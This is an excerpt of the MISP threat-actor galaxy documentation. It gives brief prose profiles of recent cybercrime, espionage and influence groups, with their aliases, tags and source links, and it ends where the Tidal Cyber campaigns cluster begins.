CryptoCore is a North Korean APT known for targeting cryptocurrency exchanges and financial institutions, employing spear-phishing techniques that lead to LONEJOGGER malware infections. The group has leveraged social engineering tactics, including deepfake technology and hijacked YouTube accounts, to execute sophisticated giveaway scams that deceive victims into sending cryptocurrencies. Their operations have involved the misuse of platforms like Gemini for reconnaissance and the development of fraudulent content. Additionally, CryptoCore has been linked to a variety of campaigns, including Dangerous Password and SnatchCrypto, focusing on financial gain through cryptocurrency theft.

The tag is: *misp-galaxy:threat-actor="UNC1069"*

UNC1069 is also known as:

- MASAN
- CryptoCore

Table 18990. Table References

Links
https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023
https://www.spixnet.com/cybersecurity-blog/2023/04/03/newly-exposed-apt43-hacking-group-targeting-us-orgs-since-2018/

https://cloud.google.com/blog/topics/threat-intelligence/threat-actor-usage-of-ai-tools/

Storm-1175

Storm-1175 is a cybercriminal group known for deploying Medusa ransomware and exploiting public-facing applications for initial access. They have been observed exploiting a critical deserialization vulnerability in GoAnywhere MFT, tracked as CVE-2025-10035, which could lead to command injection and potential RCE. Microsoft Defender researchers identified exploitation activity aligned with TTPs attributed to Storm-1175, including the use of post-compromise techniques that involve creating a group named “ESX Admins” in the domain.

The tag is: *misp-galaxy:threat-actor="Storm-1175"*

Table 18991. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/10/06/investigating-active-exploitation-of-cve-2025-10035-goanywhere-managed-file-transfer-vulnerability/

UAT-7237

UAT-7237 is a Chinese-speaking APT group that has been active since at least 2022, primarily targeting web infrastructure entities in Taiwan. They utilize a customized Shellcode loader known as “SoundBill” to execute shellcode, including Cobalt Strike payloads, and rely on SoftEther VPN clients and RDP for persistence and access. UAT-7237 employs techniques such as credential extraction using Mimikatz, reconnaissance with WMI-based tools, and selective deployment of web shells. Their operations indicate a focus on long-term persistence and stealth, with a preference for open-sourced and customized tooling.

The tag is: *misp-galaxy:threat-actor="UAT-7237"*

Table 18992. Table References

Links
https://blog.talosintelligence.com/uat-7237-targets-web-hosting-infra/

Mocha Manakin

Mocha Manakin is a threat actor that employs the paste and run technique for initial access, tricking users into executing scripts that download various payloads, including LummaC2, HijackLoader, and Vidar. This actor is notable for utilizing a bespoke NodeJS-based backdoor named NodeInitRAT, which facilitates persistence and reconnaissance activities while communicating with adversary-controlled servers over HTTP. Mocha Manakin has been linked to Interlock ransomware, and while direct ransomware activity has not been observed, there is moderate confidence that unmitigated activity may lead to such outcomes. The effectiveness of paste and run lures, distributed through methods like phishing and web browser injects, has contributed to the actor’s increased scope and scale.

The tag is: *misp-galaxy:threat-actor="Mocha Manakin"*

Table 18993. Table References

Links
https://redcanary.com/blog/threat-intelligence/mocha-manakin-nodejs-backdoor/

GreedyBear

GreedyBear is a sophisticated threat actor responsible for over $1 million in cryptocurrency theft through a campaign involving 150 malicious Firefox extensions, nearly 500 malicious executables, and numerous fraudulent websites. They employ techniques such as 'Extension Hollowing' to replace legitimate extensions with malicious versions that capture wallet credentials. The campaign is centralized, with most malicious domains resolving to a single IP address, and it has expanded to target other browsers while utilizing AI-generated code to enhance scalability and evade detection.

The tag is: *misp-galaxy:threat-actor="GreedyBear"*

Table 18994. Table References

Links
https://www.koi.ai/blog/greedybear-650-attack-tools-one-coordinated-campaign

UNG0901

UNG0901 is a cyber-espionage threat actor targeting Russian entities, particularly in the aerospace and defense sectors, utilizing spear-phishing tactics. They deploy the EAGLET backdoor, which exhibits functionalities similar to the Golang-based PhantomDL used by the Head Mare group, including shell, download, and upload capabilities. Notable overlaps in file-naming conventions and targeting strategies further reinforce the connection between UNG0901 and Head Mare.

The tag is: *misp-galaxy:threat-actor="UNG0901"*

UNG0901 is also known as:

- Operation CargoTalon
- Unknown-Group-901

Table 18995. Table References

Links
https://www.seqrite.com/blog/operation-cargotalon-ung0901-targets-russian-aerospace-defense-sector-using-eaglet-implant/

Scripted Sparrow

Scripted Sparrow is a prolific Business Email Compromise (BEC) collective that conducts highly targeted phishing campaigns, impersonating professional services firms to deceive finance teams

into transferring funds. The group employs a disciplined approach, utilizing consistent language and familiar tones in their communications, while sending between 10,000 and 50,000 emails daily in small batches. They have developed a sophisticated understanding of corporate communication, crafting messages that mimic internal formats and urgency without raising suspicion. Scripted Sparrow relies on a network of US-based mule accounts, with 249 unique bank accounts identified across 42 financial institutions for cash-out operations.

The tag is: *misp-galaxy:threat-actor="Scripted Sparrow"*

Table 18996. Table References

Links
https://www.helpnetsecurity.com/2025/12/18/tracking-scripted-sparrow-phishing-campaigns/
https://www.fortra.com/resources/guides/scripted-sparrow-prolific-bec-threat-group

TA584

TA584 is a prominent initial access broker tracked by Proofpoint since November 2020, known for its high-volume campaigns targeting organizations globally. The actor employs various TTPs, including macro-enabled Excel documents, aggressive URL filtering, and geo-fenced landing pages, while frequently changing lures and delivery methods to evade detection. In 2025, TA584 expanded its geographic targeting to include Germany and Australia, while also introducing new malware such as Tsundere Bot alongside XWorm with the "P0WER" configuration. The actor's campaigns are characterized by rapid turnover and deliberate variability, making static indicators less effective for detection.

The tag is: *misp-galaxy:threat-actor="TA584"*

TA584 is also known as:

- Storm-0900

Table 18997. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/cant-stop-wont-stop-ta584-innovates-initial-access
https://www.linkedin.com/feed/update/urn:li:activity:7401414126620884992/

Sinobi

Sinobi is a financially motivated ransomware group that employs data theft and extortion as primary tactics, operating a public-facing leak portal to pressure victims during ransom negotiations. The group utilizes techniques such as phishing, credential compromise, and exploitation of unpatched vulnerabilities for initial access, followed by data exfiltration using tools like RClone. Sinobi ransomware employs Curve-25519 and AES-128-CTR for file encryption, making recovery impossible without the attacker's private key. The group has been linked to significant breaches across various sectors, including automotive, legal, and nonprofit organizations.

The tag is: *misp-galaxy:threat-actor="Sinobi"*

Table 18998. Table References

Links
https://www.esentire.com/blog/threat-actors-deploy-sinobi-ransomware-via-compromised-sonicwall-ssl-vpn-credentials

BreachLaboratory

BreachLaboratory is a cybercrime actor that specializes in the extraction and sale of sensitive financial and identity datasets from various organizations. They have claimed to exfiltrate approximately 950,000 records from Grupo Catalana Occidente and over 18,000 records from Bank Mandiri, with data including customer names, account details, and SWIFT codes. The actor operates on underground forums, selling structured datasets such as CSV files and SQL dumps, and emphasizes the validity and financial utility of the data. Their activities indicate a focus on monetization through direct database sales and potential downstream fraud enablement.

The tag is: *misp-galaxy:threat-actor="BreachLaboratory"*

Table 18999. Table References

Links
<a href="https://www.cyfirma.com/news/weekly-intelligence-report-12-december-2025/<mark>:_{:text=well%2Dstructured%20operations.-,7.%20Data%20Leaks,-Bank%20Mandiri%20Data">https://www.cyfirma.com/news/weekly-intelligence-report-12-december-2025/</mark>:}:text=well%2Dstructured%20operations.-

DarkPink

DarkPink is an APT group that has been active since mid-2021, primarily targeting government, military, and non-profit organizations in Southeast Asia and Europe. The group employs spear phishing techniques, utilizing ISO images and malicious PDF files to deliver custom Trojan programs like TelePowerBot and KamiKakaBot for information theft. They have exploited vulnerabilities such as CVE-2023-38831 to enhance their attack processes and maintain persistence through DLL side-loading and scheduled tasks. DarkPink's operations are characterized by stealth and precision, making them a significant threat in the cyber landscape.

The tag is: *misp-galaxy:threat-actor="DarkPink"*

DarkPink is also known as:

- Saaiwc

Table 19000. Table References

Links
https://www.group-ib.com/blog/dark-pink-apt/

https://www.group-ib.com/blog/dark-pink-episode-2/

ViciousTrap

ViciousTrap has compromised over 5,500 edge devices, transforming them into honeypots and utilizing a shell script called NetGhost to redirect incoming traffic from specific ports to their infrastructure. The actor has targeted various EOL devices, including ASUS routers, Linksys LRT224, and Araknis Networks AN-300-RT-4L2W VPN routers. Observations indicate attempts to deploy a web shell for executing their redirection script, although authorship of the web shell has not been attributed to ViciousTrap. The overall objectives of ViciousTrap remain unclear, but their activities suggest a honeypot-style network aimed at intercepting network flows.

The tag is: *misp-galaxy:threat-actor="ViciousTrap"*

Table 19001. Table References

Links
https://blog.sekoia.io/vicioustrap-infiltrate-control-lure-turning-edge-devices-into-honeypots-en-masse/

Team46

Team46 is a sophisticated APT group active since at least late 2024, targeting Russian government, academic, and media organizations through spearphishing emails disguised as forum invitations or service notifications. They exploit zero-day vulnerabilities like CVE-2025-2783 in Google Chrome (March 2025, Operation ForumTroll) and CVE-2024-6473 in Yandex Browser, deploying multi-stage loaders (e.g., winsta.dll, donut shellcode) that decrypt payloads using machine-specific keys like firmware UUID for environmental guardrails. Key malware includes the Trinper backdoor for keylogging, clipboard theft, file/process discovery, and encrypted C2 exfiltration over HTTPS with domain fronting, alongside auxiliary .NET tools (dirlist.exe, ProcessList.exe) and variants using Cobalt Strike or Dante backdoor; the group employs obfuscation, AMSI bypasses, debugger evasion, and self-deletion for persistence and stealth. Positive Technologies attributes TaxOff operations to Team46 based on identical PowerShell patterns, loaders, and hyphenated CDN-mimicking infrastructure (e.g., ms-appdata-*.global.ssl.fastly.net).

The tag is: *misp-galaxy:threat-actor="Team46"*

Team46 is also known as:

- TaxOff

Table 19002. Table References

Links
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/team46-and-taxoff-two-sides-of-the-same-coin
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/taxoff-um-you-ve-got-a-backdoor/

UAT-8099

UAT-8099 is a Chinese-speaking cybercrime group primarily engaged in SEO fraud and the theft of high-value credentials, configuration files, and certificate data from vulnerable IIS servers. They utilize web shells and PowerShell to deploy the GotoHTTP tool for remote access, while also employing techniques such as DLL sideloading and RDP for persistence. The group has been observed using BadIIS variants for SEO manipulation and executing reconnaissance commands to gather system information. Additionally, they create hidden accounts and utilize VPN tools to maintain long-term access to compromised systems.

The tag is: *misp-galaxy:threat-actor="UAT-8099"*

Table 19003. Table References

Links
https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/
https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/

ByteToBreach

ByteToBreach is a prolific cybercriminal who operates across multiple platforms, including DarkForums and Telegram, and has been active since at least June 2025. He exploits known vulnerabilities in cloud and corporate infrastructure, reuses stolen credentials, and employs brute force or misconfiguration tactics for initial access, focusing on data exfiltration of sensitive information from high-value targets. ByteToBreach has established a professional-looking website to promote his services and has demonstrated credible activity, with many of his claims supported by verifiable proof.

The tag is: *misp-galaxy:threat-actor="ByteToBreach"*

Table 19004. Table References

Links
https://www.kelacyber.com/blog/bytetobreach-a-deep-dive-into-a-persistent-data-leak-operator/

Storm-1747

Storm-1747 is an intrusion set that develops and operates the Tycoon 2FA phishing kit, which has been active since at least mid-2023 and is known for its sophisticated obfuscation and exfiltration techniques. The kit has been sold and distributed under the PhaaS model, making it one of the most widespread phishing kits by early 2025.

The tag is: *misp-galaxy:threat-actor="Storm-1747"*

Table 19005. Table References

Links
https://any.run/cybersecurity-blog/salty2fa-tycoon2fa-hybrid-phishing-2025/

CryptoChameleon

CryptoChameleon is a cybercriminal group known for targeting cryptocurrency exchanges and users to steal digital assets, employing tactics such as VIP spear phishing, SIM swapping, and email hacks. They have leveraged phishing kits, including a notable one associated with LastPass, and utilize infrastructure from bulletproof host NICENIC. The group primarily targets platforms like Coinbase and Ledger, and their attacks are characterized by rapid cash-out efforts following successful breaches. Their operational methods include manually guiding victims through phishing pages to evade detection by automated scanners.

The tag is: *misp-galaxy:threat-actor="CryptoChameleon"*

CryptoChameleon is also known as:

- UNC5356

Table 19006. Table References

Links
https://www.silentpush.com/blog/poisonseed/
https://www.lookout.com/threat-intelligence/article/cryptochameleon-fcc-phishing-kit

UAT-6382

UAT-6382 is a Chinese-speaking threat actor that exploits CVE-2025-0944 to gain access to enterprise networks, particularly targeting local governing bodies in the U.S. They deploy web shells like AntSword and chinatso/Chopper on IIS web servers and utilize Rust-based loaders to implement Cobalt Strike and VSHell for persistent access. UAT-6382 employs custom tooling, such as TetraLoader, and conducts reconnaissance to identify and exfiltrate files of interest. Their VShell stager connects to a hardcoded C2 server and executes payloads in memory, indicating modifications made by the actor.

The tag is: *misp-galaxy:threat-actor="UAT-6382"*

Table 19007. Table References

Links
https://blog.talosintelligence.com/uat-6382-exploits-cityworks-vulnerability/

TA829

TA829 is a Russia-aligned threat actor that employs the RomCom RAT for intelligence-gathering and financially motivated cyberattacks, exploiting zero-day vulnerabilities in Mozilla Firefox and Microsoft Windows. The group utilizes REM Proxy services hosted on compromised MikroTik routers to relay traffic and disguise its origin. In their operations, victims targeted by TA829 receive a strain known as SlipScreen, while their infrastructure and tactics show significant similarities to those of UNK_GreenSec. TA829's hybrid approach combines espionage with financial fraud, making it a notable player in the cyber threat landscape.

The tag is: *misp-galaxy:threat-actor="TA829"*

Table 19008. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader

Storm-1516

CopyCop is a Russian covert influence network that has established over 300 fictional media websites targeting the US, France, Canada, and other countries, primarily to disseminate pro-Russian and anti-Ukrainian narratives. The network employs TTPs such as deepfakes, fake interviews, and self-hosted LLMs for content generation, while also impersonating local media outlets and fact-checking organizations. Its operations are supported by the Moscow-based Center for Geopolitical Expertise and the GRU, aiming to undermine support for Ukraine and exacerbate political fragmentation in Western nations. CopyCop's influence content is amplified by a network of pro-Russian social media influencers and other Russian influence networks.

The tag is: *misp-galaxy:threat-actor="Storm-1516"*

Storm-1516 is also known as:

- CopyCop

Table 19009. Table References

Links
https://www.recordedfuture.com/research/copycop-deepens-its-playbook-with-new-websites-and-targets
https://www.recordedfuture.com/research/russian-influence-assets-converge-on-moldovan-elections
https://www.recordedfuture.com/research/stimmen-aus-moskau-russian-influence-operations-target-german-elections
https://www.defense.gouv.fr/actualites/storm-1516-dessous-dune-operation-dinfluence-russe
https://www.sgdsn.gouv.fr/publications/analyse-du-mode-operatoire-informationnel-russe-storm-1516

XinXin

XinXin is a Chinese-speaking threat actor known for its phishing-as-a-service platform, Lucid, which targets global organizations to steal credit card details and personally identifiable information through smishing campaigns. The group employs advanced techniques such as exploiting Rich Communication Services and Apple's iMessage protocol to bypass traditional SMS filters. XinXin also develops and utilizes other phishing kits like Lighthouse and Darcula, facilitating large-scale phishing operations with automated tools and evasion techniques. The group operates a structured hierarchy and monetizes stolen data while actively supporting the development of

similar PhaaS services.

The tag is: *misp-galaxy:threat-actor="XinXin"*

XinXin is also known as:

- changqixinyun
- Black Technology

Table 19010. Table References

Links
https://catalyst.prodaft.com/public/report/lucid/overview#paragraph-1055
388[https://catalyst.prodaft.com/public/report/lucid/overview#paragraph-1055
388]

BladedFeline

BladedFeline is an Iran-aligned APT group that has been active since at least 2017, targeting Iraqi and Kurdish government officials for cyberespionage. The group employs a variety of tools, including the Shahmaran backdoor, Whisper, and PrimeCache, which is a malicious IIS module. BladedFeline utilizes techniques such as spearphishing (T1566), exploiting public-facing applications (T1190), and timestomping to maintain access and exfiltrate data. The group is assessed with medium confidence to be a subgroup of OilRig, focusing on strategic access to high-ranking officials in the region.

The tag is: *misp-galaxy:threat-actor="BladedFeline"*

Table 19011. Table References

Links
https://www.welivesecurity.com/en/eset-research/bladedfeline-whispering-dark/

INJ3CTOR3

INJ3CTOR3 is a threat actor first identified in 2020, known for targeting vulnerabilities in VoIP systems, specifically CVE-2019-19006 and CVE-2021-45461. Their operations involve exploiting FreePBX vulnerabilities to deploy PHP web shells for data exfiltration and persistence. The group utilizes tools for SIP server exploitation, including brute-force scripts and authentication bypass techniques. Observations indicate a resurgence of their attack patterns, reflecting historical behaviors while adapting to current vulnerabilities.

The tag is: *misp-galaxy:threat-actor="INJ3CTOR3"*

Table 19012. Table References

Links

https://research.checkpoint.com/2020/inj3ctor3-operation-leveraging-asterisk-servers-for-monetization/
https://unit42.paloaltonetworks.com/digium-phones-web-shell/
https://www.fortinet.com/blog/threat-research/unveiling-the-weaponized-web-shell-encystphp

TridentLocker

TridentLocker is a ransomware group known for targeting organizations that manage high volumes of regulated or third-party data, including government services and telecom providers. They have claimed breaches of multiple victims, such as TMPartner, Sedgwick, and Advantage 360, often exfiltrating sensitive data before deploying ransomware. The group employs techniques such as stolen credentials, phishing, and exploitation of unpatched software to gain initial access and move laterally within networks. Their operations are characterized by high visibility postings on their leak portal, which include detailed victim profiles and countdown timers to create public pressure.

The tag is: *misp-galaxy:threat-actor="TridentLocker"*

Table 19013. Table References

Links
https://therecord.media/sedgwick-cyber-incident-ransomware

UNG0002

UNG0002 is a technically adept APT conducting large-scale cyber espionage campaigns targeting strategic sectors in China, Hong Kong, and Pakistan, including defense, energy infrastructure, and healthcare. The group employs LNK shortcuts, VBScript files, and tools like Cobalt Strike and Metasploit, utilizing phishing emails with deceptive documents to lure victims. Their malware, such as Shadow RAT, leverages DLL Sideloading and supports remote command execution, making detection challenging. Analysts suggest that UNG0002 may originate from South or Southeast Asia, highlighting their resilience and adaptability in cyber operations.

The tag is: *misp-galaxy:threat-actor="UNG0002"*

Table 19014. Table References

Links
https://www.seqrite.com/blog/ung0002-espionage-campaigns-south-asia/
https://rewterz.com/threat-advisory/apt-ung0002-expands-cyber-espionage-campaigns-across-asia-active-iocs

Amaranth-Dragon

Amaranth-Dragon is a previously untracked threat actor assessed to be closely linked to the China-affiliated APT 41 ecosystem, exhibiting similar tooling and operational patterns. The group

demonstrated technical maturity by rapidly operationalizing CVE-2025-8088, a vulnerability in WinRAR, shortly after its public disclosure. Check Point Research has identified multiple campaigns targeting Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines, with operations typically focused on one or two countries at a time. The overlaps in technical and operational indicators strongly suggest that Amaranth-Dragon is either affiliated with or part of the broader APT-41 ecosystem.

The tag is: *misp-galaxy:threat-actor="Amaranth-Dragon"*

Table 19015. Table References

Links
https://blog.checkpoint.com/research/amaranth-dragon-targeted-cyber-espionage-campaigns-across-southeast-asia/

UNC6671

UNC6671 is involved in credential harvesting operations, utilizing vishing tactics to impersonate IT staff and directing victims to enter credentials on a victim-branded site. They have gained access to Okta customer accounts and employed PowerShell to download sensitive data from SharePoint and OneDrive. Their extortion tactics include aggressive harassment of victim personnel, and they have used unbranded extortion emails with different Tox IDs for communication. The threat actors have shown a preference for registering domains with Tucows, indicating potential operational differences from related threat groups.

The tag is: *misp-galaxy:threat-actor="UNC6671"*

Table 19016. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft/

TAG-140

TAG-140 is a threat actor group that primarily targets Indian government entities, employing cyber espionage tactics such as phishing and malware campaigns. They have deployed a new variant of the DRAT RAT, known as DRAT V2, which utilizes a ClickFix lure and executes a remote script via mshta.exe to establish persistence and facilitate data exfiltration. Their operations include the use of the BroaderAspect loader and a custom TCP-based C2 protocol, enabling a range of post-exploitation activities. TAG-140's activities reflect a pattern of iterative advancement in their malware arsenal and delivery techniques, complicating detection and attribution efforts.

The tag is: *misp-galaxy:threat-actor="TAG-140"*

Table 19017. Table References

Links
https://www.recordedfuture.com/research/drat-v2-updated-drat-emerges-tag-140s-arsenal

UAC-0241

UAC-0241 is a threat actor tracked by CERT-UA, active from May to November 2025, targeting educational institutions and government bodies in eastern Ukraine via spear-phishing emails from compromised Gmail accounts. These emails deliver password-protected ZIP archives with malicious LNK files that trigger an HTA → JavaScript → PowerShell chain, deploying credential harvester LaZagne, file-stealer scripts, and the Go-based GAMYBEAR backdoor for command execution, data exfiltration over HTTP, and persistence via registry Run keys. Initial access stemmed from a May 26 phishing spoofing a local emergency agency, with compromised systems exploited for lateral movement.

The tag is: *misp-galaxy:threat-actor="UAC-0241"*

Table 19018. Table References

Links
https://cert.gov.ua/article/6286219

SHADOW-VOID-042

SHADOW-VOID-042 is a provisional intrusion set tracked by Trend Micro, active in October-November 2025, conducting spear-phishing campaigns against energy, defense, pharmaceutical, cybersecurity, and other sectors using lures like HR complaints, research surveys, and fake Trend Micro security updates urging browser fixes. Attacks employ multi-stage loaders: shellcode generates machine-specific IDs for C2 "get_module_hello" requests fetching encrypted Stage 2 (SystemProcessHost.exe) with scheduled tasks for persistence, followed by Stage 3 fetching additional payloads via API hashing and retries on hardcoded C2s. Infrastructure overlaps with Void Rabisu (ROMCOM/Storm-0978), but lacks confirmed ROMCOM deployment or Ukraine focus, warranting separate tracking.

The tag is: *misp-galaxy:threat-actor="SHADOW-VOID-042"*

Table 19019. Table References

Links
https://www.trendmicro.com/en_us/research/25/l/SHADOW-VOID-042.html

IronErn440

IronErn440 is a threat actor tracked by Oligo Security for orchestrating the ShadowRay 2.0 campaign, an evolution of attacks since September 2023 exploiting CVE-2023-48022, a missing authentication flaw in the Ray AI framework's Job Submission API. The actor submits malicious jobs to exposed Ray clusters (port 8265), deploying multi-stage Bash/Python payloads via GitHub/GitLab repositories like "ironern440-group" and "thisisforwork440-ops" to propagate worm-like, hijack NVIDIA GPUs for XMRig cryptomining, pivot laterally, create reverse shells, kill competing miners, limit CPU to 60%, and persist via cron jobs pulling updates every 15 minutes. Additional capabilities include DDoS via sockstress on port 3333 (targeting mining pools), region-specific malware (e.g., China checks), LLM-generated payloads, and use of tools like interact.sh for

scanning over 230,500 public Ray servers; mitigations involve firewalling, authorization, and Anyscale's port checker.

The tag is: *misp-galaxy:threat-actor="IronErn440"*

Table 19020. Table References

Links
https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet

ComicForm

ComicForm is an emerging cyber threat actor tracked since at least April 2025, specializing in targeted phishing campaigns against organizations in Eurasian countries including Belarus, Kazakhstan, and Russia, often in sectors like banking, production, and critical infrastructure. The group deploys FormBook infostealer malware via sophisticated loaders: an obfuscated .NET executable unpacks MechMatrix Pro.dll, which decrypts and executes Montero.dll dropper in memory to deliver FormBook, establishing persistence through scheduled tasks and antivirus exclusions while evading detection. Malware binaries uniquely embed Tumblr links to innocuous comic superhero GIFs (e.g., Batman), from which the actor derives its name, alongside phishing lures themed around recruitment, quotes, or production facilities using Russian free email services like Rivet_kz. Active through at least September 2025 with no confirmed overlaps to other actors like pro-Russian SectorJ149 despite concurrent Eurasian operations, ComicForm demonstrates proficiency in commodity malware customization and regional targeting.

The tag is: *misp-galaxy:threat-actor="ComicForm"*

Table 19021. Table References

Links
https://ics-cert.kaspersky.com/publications/reports/2025/12/01/apt-and-financial-attacks-on-industrial-organizations-in-q3-2025/

UNC6619

TGR-STA-1030 is a state-aligned cyberespionage group operating out of Asia, known for compromising government and critical infrastructure organizations across 37 countries. The group frequently deploys web shells, such as Behinder, Neo-reGeorg, and Godzilla, on both external and internal web servers to maintain access and enable lateral movement. TGR-STA-1030 has conducted extensive reconnaissance against government infrastructure, particularly focusing on nations in the South China Sea and Gulf of Thailand regions, as well as European countries like Germany. The group primarily targets government ministries and departments for espionage purposes, especially those exploring specific economic partnerships.

The tag is: *misp-galaxy:threat-actor="UNC6619"*

UNC6619 is also known as:

- TGR-STA-1030
- Shadow Campaigns

Table 19022. Table References

Links
https://unit42.paloaltonetworks.com/shadow-campaigns-uncovering-global-espionage/

RedKitten

RedKitten is a campaign targeting Iranian interests, particularly NGOs and individuals documenting human rights abuses, first observed in January 2026. The malware utilizes GitHub and Google Drive for configuration and payload retrieval, while employing Telegram for command and control. Although precise attribution is challenging, the activity exhibits TTPs associated with Iranian state-sponsored actors and linguistic indicators suggest a Farsi-speaking threat actor. RedKitten is characterized as an AI-accelerated campaign exploiting the humanitarian crisis surrounding Iran's Dey 1404 protests.

The tag is: *misp-galaxy:threat-actor="RedKitten"*

Table 19023. Table References

Links
https://harfanglab.io/insidethelab/redkitten-ai-accelerated-campaign-targeting-iranian-protests/

PayTool

PayTool is a threat actor that operates a phishing ecosystem focused on traffic violation and fine payment scams targeting Canadians through SMS-based social engineering. Their campaigns impersonate Canadian government traffic enforcement services, utilizing a federal-style "Traffic Ticket Search Portal" model that aggregates provincial fine payment portals. PayTool maintains a pool of generic domains to ensure continuity when specific provincial domains are blacklisted, exploiting brand trust with disposable domains. Recommendations include implementing DNS and web gateway controls to block newly registered domains and known PayTool-related IP ranges.

The tag is: *misp-galaxy:threat-actor="PayTool"*

Table 19024. Table References

Links
https://www.cloudsek.com/blog/pivoting-from-paytool-tracking-various-frauds-and-e-crime-targeting-canada
https://flare.io/learn/resources/blog/paytool-targets-canadians-traffic-scams

UNK_AcademicFlare

UNK_AcademicFlare is a suspected Russia-aligned threat actor that conducts device code phishing

campaigns by leveraging compromised email addresses from government and military organizations. The actor engages in rapport building through benign outreach, ultimately leading to a phishing attempt via a Cloudflare Worker URL that spoofs a OneDrive account. Targeted sectors include government, think tanks, higher education, and transportation in the U.S. and Europe, with a focus on Russia and Ukraine-themed content. Their tactics include using compromised accounts for initial contact and employing device code phishing techniques to extract credentials.

The tag is: *misp-galaxy:threat-actor="UNK_AcademicFlare"*

Table 19025. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover

Femwar02

Femwar02 is a previously unknown pro-Russian ransomware threat actor that emerged in early 2026, linked to a major cyberattack on Italy's Sapienza University of Rome in February 2026, which caused a full network shutdown and operational disruptions. The group deploys Bablock (also known as Rorschach), a next-generation ransomware strain first identified in 2023 that features fast hybrid encryption (curve25519 and hc-128), partial file encryption for speed, direct system calls to evade detection, and domain-wide propagation via Group Policy on Windows Domain Controllers. Bablock shares code similarities with LockBit 2.0 but incorporates elements from other families like Babuk and DarkSide, often delivered via encrypted payloads, DLL sideloading with tools like DarkLoader, and exploits such as those in Zimbra or phishing. Notably, the malware skips encrypting files written in Russian, reinforcing its pro-Russian alignment, with no prior attributions or campaigns documented before the Sapienza incident.

The tag is: *misp-galaxy:threat-actor="Femwar02"*

Table 19026. Table References

Links
https://www.bleepingcomputer.com/news/security/italian-university-la-sapienza-goes-offline-after-cyberattack/

SlopAds

SlopAds is a sophisticated ad fraud and click fraud operation involving a collection of 224 apps, downloaded over 38 million times globally. The threat actors utilize steganography, hidden WebViews, and a mobile marketing attribution platform to execute their fraud schemes, which include generating fraudulent ad impressions and clicks. Their infrastructure comprises multiple C2 servers and over 300 related domains, indicating plans for expansion. The operation has been linked to 2.3 billion bid requests per day, with significant traffic originating from the United States, India, and Brazil.

The tag is: *misp-galaxy:threat-actor="SlopAds"*

Table 19027. Table References

Links
https://www.humansecurity.com/learn/blog/satori-threat-intelligence-alert-slopads-covers-fraud-with-layers-of-obfuscation/

WhiteCobra

WhiteCobra is a threat actor that has infiltrated the Visual Studio Code marketplace and Open VSX registry, deploying 24 malicious extensions targeting cryptocurrency development tools, particularly Solidity. The group employs social engineering tactics, manipulates download counts and reviews, and uses fake branding to establish credibility for their extensions, which deliver LummaStealer on Windows and unknown malware on macOS. WhiteCobra has been linked to a $500,000 cryptocurrency theft in July 2025 and maintains detailed playbooks with revenue targets, showcasing their organized and persistent operations. Despite ongoing efforts by security researchers to remove their malicious extensions, WhiteCobra continues to upload new threats weekly, highlighting the sophistication of their TTPs.

The tag is: *misp-galaxy:threat-actor="WhiteCobra"*

Table 19028. Table References

Links
https://www.koi.ai/blog/whitecobra-vscode-cursor-extensions-malware

CL-STA-1009

CL-STA-1009 is a threat activity cluster associated with a suspected nation-state actor utilizing the Airstalk malware family, which includes both PowerShell and .NET variants. The .NET variant features a multi-threaded C2 protocol, versioning, and complex tasks, employing defense evasion techniques such as signed binaries with a revoked certificate and manipulation of PE timestamps. The malware is believed to have been used in supply chain attacks, with a development timeline established through signed timestamps. The persistent threat posed by this actor is underscored by the adaptive nature of the malware.

The tag is: *misp-galaxy:threat-actor="CL-STA-1009"*

Table 19029. Table References

Links
https://unit42.paloaltonetworks.com/new-windows-based-malware-family-airstalk/

UAT-9921

UAT-9921 is a China-nexus threat actor active since 2019, tracked by Cisco Talos. In 2026, they were observed deploying 'VoidLink', a sophisticated modular framework primarily targeting Linux systems (IoT, Critical Infrastructure). Unique characteristics include the use of AI-enabled IDEs for rapid development (ZigLang implant, GoLang backend), P2P mesh networking for C2, and advanced

persistence via eBPF rootkits. They target Technology and Financial sectors exploiting Java serialization vulnerabilities (Apache Dubbo).

The tag is: *misp-galaxy:threat-actor="UAT-9921"*

UAT-9921 is also known as:

- UAT-9921
- VoidLink Operator

Table 19030. Table References

Links
https://blog.talosintelligence.com/voidlink/
https://isovalent.com/blog/post/voidlink-cloud-malware-detection/

Tidal Campaigns

Tidal Campaigns Cluster.

Tidal Campaigns is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

2015 Ukraine Electric Power Attack

[2015 Ukraine Electric Power Attack](https://app.tidalcyber.com/campaigns/96e367d0-a744-5b63-85ec-595f505248a3) was a [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) campaign during which they used [BlackEnergy](https://app.tidalcyber.com/software/908216c7-3ad4-4e0c-9dd3-a7ed5d1c695f) (specifically BlackEnergy3) and [KillDisk](https://app.tidalcyber.com/software/b5532e91-d267-4819-a05d-8c5358995add) to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.

The tag is: *misp-galaxy:campaigns="2015 Ukraine Electric Power Attack"*

2016 Ukraine Electric Power Attack

[2016 Ukraine Electric Power Attack](https://app.tidalcyber.com/campaigns/06197e03-e1c1-56af-ba98-5071f98f91f1) was a [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) campaign during which they used [Industroyer](https://app.tidalcyber.com/software/09398a7c-aee5-44af-b99d-f73d3b39c299) malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack

